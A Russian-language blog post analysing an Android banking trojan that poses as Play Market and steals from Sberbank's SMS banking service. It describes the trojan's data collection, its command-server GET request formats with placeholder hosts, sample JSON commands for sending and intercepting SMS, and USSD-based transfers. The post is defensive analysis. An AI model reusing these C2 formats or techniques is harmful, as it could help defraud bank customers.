Вместе с Android
реверс и программирование, обсуждение и обзоры
IntSystem.org | Веб-разработка, все о ней

Реверс банковской малвари на Android 11.05.2015

android_bank_malware

Введение

Опять, опять спамят «Вам пришло ММС-сообщение!». Конечно, в сообщении только короткая ссылка на foto.apk (сфоткай, типо я — jpeg). Причем без всяких красивостей в браузере, просто сразу отдается бинарник. Но ведь есть люди, и на это ведутся. Решил я посмотреть, на что там можно повестись…

Поверхностный осмотр

Как обычно, малварь написана на Java, никак не обфусцирована. Метод установки в систему стар как мир: маскировка под системное приложение (в данном случае – Play Market). Об эксплуатации каких-либо уязвимостей, кроме головного мозга пользователя устройства, речи не идет.  На данный момент малварь детектируется 23 из 37 антивирусами на virustotal.

Декомпиляция и изучение кода

Просмотр одного только манифеста уже настораживает. Особое внимание рекомендую обратить на запрос привилегий.

Исходя из списка привилегий, получаем классического бота под Android: отправка статистики и получение команд через Internet, перехват, отсылка смс. Само собой, автозагрузка. В последнее время набирает актуальность работа с USSD-запросами. Связано это, как мне кажется, в основном из-за поддержки таких запросов банками. То есть, получив доступ к телефону клиента, можно осуществлять переводы на счет злоумышленника. Перехват SMS в этом случае, необходим для удаления приходящих уведомлений, чтобы владелец устройства ни о чем не догадался.

Итак, запуск программы начинает в классе com.android.system.AppActivity. При запуске подгружаются ресурсы для фейкового GUI и запускается служба com.android.system.SurpriseService. Что примечательно, софт использует Google Cloud Messaging для работы. Причем, судя по выводу в Log.d(), код был скопирован из какого-то источника.  Например, из официальной документации.

Второй момент, приложение имитирует собственное удаление.

Возвращаемся к запуску сервиса. Сразу после старта, сервис собирает информацию об устройстве: модель устройства, страну, номер телефона, название оператор, текущий баланс и IMEI.

Зачем злоумышленникам последний параметр остается только догадываться.  Все это отправляется на сервер GET-запросом: http://serverdomain/controller.php?param1=value1&…paramN=valueN

после чего сервер возвращает завернутый в JSON целочисленный идентификатор бота

{ «response»: [{«bot_id»: 6216}], «status»: «ok»}.

На любой неправильный запрос с точки зрения логики админ-панели сервер возвращает { «response»: [], «status»: «ok»}.

Полученные результаты бот сохраняет в sqlite-таблицу в открытом виде, после чего запускается таймер проверки команд с помощью AlarmManager на 20 секунд.

Также при запуске службы устанавливаются BroadcastReceiver’ы на действия с экраном (вкл/выкл) и USSD-запросы.

Запрос команд происходит также с помощью GET http: http://domain/controller.php?mode=getTask&screen_on=0&bot_id=6218.

Результаты:

{ «response»: [{«del_intercept»: 1, «mode»: 0, «sms_id»: [«200605»], «sms_text»: [«БАЛАНС»], «sms_number»: [«900»], «intercept»: [«all»]}], «status»: «ok»}.

После обработки команды, бот посылает SMS-сообщение, результат перехватывается зарегистрированным BroadcastReceiver’ом com.android.system.SReceiver и отправляется на сервер. Также, перехваченные SMS-сообщения удаляются после отправки. Что не удивительно, ведь, судя по номеру отправки сообщений, софт написан для взаимодействия с мобильным банком Сбербанка. Иногда мне кажется, что разработчиками этот мобильный банк реализован вовсе не для удобства клиента, а для  реализации таких вот махинаций. Весь код запроса команд и обработки выполнен в одном классе com.android.system.g. К сожалению, он не смог нормально декомпилироваться, но ведь это ничуть не мешает изучить код smali.

Помимо этого, в софте заложены следующие возможности:

  • рассылка по контактам;
  • отправка архива SMS-сообщений;
  • выполнение USSD-запросов;
  • изменение адреса админ-панели.

Итоги

Никакой сложности в реверсе не было, все открыто и доступно. Прямым текстом, как говорится. При этом авторы оставили обертку вывода Log.d() с сообщениями на русском, что вносит дополнительную ясность в декомпилированный код. Отсутствие какой-либо защиты (хотя на эмуляторе и в Anubis проанализировать на удалось, но это скорее из-за эмуляторных ограничений, а не детектирования), невнимательность при написании кода (Log.d(), тексты исключений при обработке и другие подсказки) и стилистика (строковые константы прямо в коде, скопированные из публичных источников участки кода и т.д.) намекают на то, что если и не школьники, то скорее всего малварь писали студенты, причем, скорее всего проживающие на территории обслуживания Сбербанка. Никакой оригинальности в образце нет, все сделано «в лоб». А зачастую, решение слишком прямолинейное. Например, выдача команд происходит один раз. Если послать запрос повторно, то получим сообщение от сервера: «Заданий нет!». То есть, сервер не проверяет, было ли выполнено предыдущее задание и дошло ли оно до клиента вообще. Оно и понятно, зачем изобретать оригинальные техники, если на хомячках итак работает? На текущий момент только на одном сервере зарегистрировано более 6000 клиентов.

Спасибо за внимание!


Добавить комментарий

Ваш e-mail не будет опубликован. Обязательные поля помечены *

Яндекс.Метрика